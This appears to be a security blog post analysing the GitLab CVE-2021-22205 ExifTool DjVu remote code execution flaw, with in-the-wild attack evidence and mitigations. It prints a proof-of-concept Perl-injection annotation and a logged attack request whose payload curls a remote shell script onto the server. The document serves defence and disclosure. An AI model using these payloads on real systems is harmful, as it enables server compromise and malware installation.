CVE-2021-22205 GitLab unauthenticated RCE exploited in the wild

CVE-2021-22205 was initially assigned a CVSSv3 score of 9.9. However, on September 21, 2021 GitLab revised the CVSSv3 score to 10.0. The increase in score was the result of changing the vulnerability from an authenticated to an unauthenticated issue.

The vulnerability was originally reported to GitLab via HackerOne at 7th Apr 2021.

When uploading image files, GitLab Workhorse passes any files with the extensions jpg|jpeg|tiff through to ExifTool to remove any non-whitelisted tags.

An issue with this is that ExifTool will ignore the file extension and try to determine what the file is based on the content, allowing for any of the supported parsers to be hit instead of just JPEG and TIFF by just renaming the uploaded file.

One of the supported formats is DjVu. When parsing the DjVu annotation, the tokens are evaled to “convert C escape sequences”.

There is some validation to try and ensure that everything is properly escaped, but a backslash followed by a newline is correctly handled allowing the quotes to be closed and arbitrary perl inserted and evaluated:

(metadata
	(Copyright "\
" . qx{echo vakzz >/tmp/vakzz} . \
" b ") )

In the wild exploitation

On 28th October 2021, I observed an attack against a customer’s GitLab installed on an AWS EC2 instance exposed to the internet.

The attacker exploited this vulnerability and succesfully uploaded a malicious ELF binary to “/tmp/.X11-unix/gitag-ssh”.

The binary was not uploaded directly, but the exploit has downloaded it with a curl to “http://104.233.163.12/Uin”.

Gitlab WorkHorse process a malicious JPEG with a curl to http://104.233.163.12/Uin as payload

The malicious binary “gitag-ssh” had some TCP sockets on 104.233.163.12 to TCP port 10443. I think that this server is acting as Command & Control for a DDoS botnet.

Opened file descriptors
C&C at 104.233.163.12
objdump -x gitag-ssh | grep -i tcp

An example of malicious request against “/uploads/user”:

149.129.69.39 - - [29/Oct/2021:06:45:36 +0000] "POST /uploads/user HTTP/1.1" 422 24 "" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/41.0.2227.0 Safari/537.36" "\x0D\x0A------WebKitFormBoundaryIMv3mxRg59TkFSX5\x0D\x0AContent-Disposition: form-data; name=\
x22file\x22; filename=\x22test.jpg\x22\x0D\x0AContent-Type: image/jpeg\x0D\x0A\x0D\x0AAT&TFORM\x00\x00\x03\xAFDJVMDIRM\x00\x00\x00.\x81\x00\x02\
x00\x00\x00F\x00\x00\x00\xAC\xFF\xFF\xDE\xBF\x99 !\xC8\x91N\xEB\x0C\x07\x1F\xD2\xDA\x88\xE8k\xE6D\x0F,q\x02\xEEI\xD3n\x95\xBD\xA2\xC3\x22?FORM\
x00\x00\x00^DJVUINFO\x00\x00\x00\x0A\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x0Fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\
x00\x08\x00\x08\x8A\xE6\xE1\xB17\xD9\x7F*\x89\x00BG44\x00\x00\x00\x04\x01\x0F\xF9\x9FBG44\x00\x00\x00\x02\x02\x0AFORM\x00\x00\x03\x07DJVIANTa\x00\
x00\x01P(metadata\x0A\x09(Copyright \x22\x5C\x0A\x22 . qx{ curl http://204.44.82.44:8082/1.sh -o /tmp/tmp.sh} . \x5C\x0A\x22 b \x22) )
\x0A\x0D\x0A------WebKitFormBoundaryIMv3mxRg59TkFSX5--\x0D\x0A\x0D\x0A"

So, definitely, update your GitLab, monitor a POST request to “/uploads/users” and log & drop 104.233.163.12 and 204.44.82.44 destinations.

If you want to log a POST data, as in the above example, you can edit a “log_format” into “/var/opt/gitlab/nginx/conf/nginx.conf” as:

log_format gitlab_access '$remote_addr - $remote_user [$time_local] "$request_method $filtered_request_uri $server_protocol" $status $body_bytes_sent "$filtered_http_referer" "$http_user_agent" "$request_body"';

To temporarily mitigate the vulnerability before a full upgrade you can block the “/users/upload” endpoint into “/var/opt/gitlab/nginx/conf/gitlab-http.conf” as in this example:

location ~ (/uploads/user) {
    deny all;
    return 403;
}

This vulnerability affects all versions of both GitLab Enterprise Edition (EE) and GitLab Community Edition (CE) starting from 11.9. The vulnerability was patched in the following versions: 13.10.3, 13.9.6, 13.8.8.

Update 8th November 2021

Other endpoints are being used in a wild exploitation, so block the “/users/upload” requests is not enough.

Successfully exploitation in POST /help request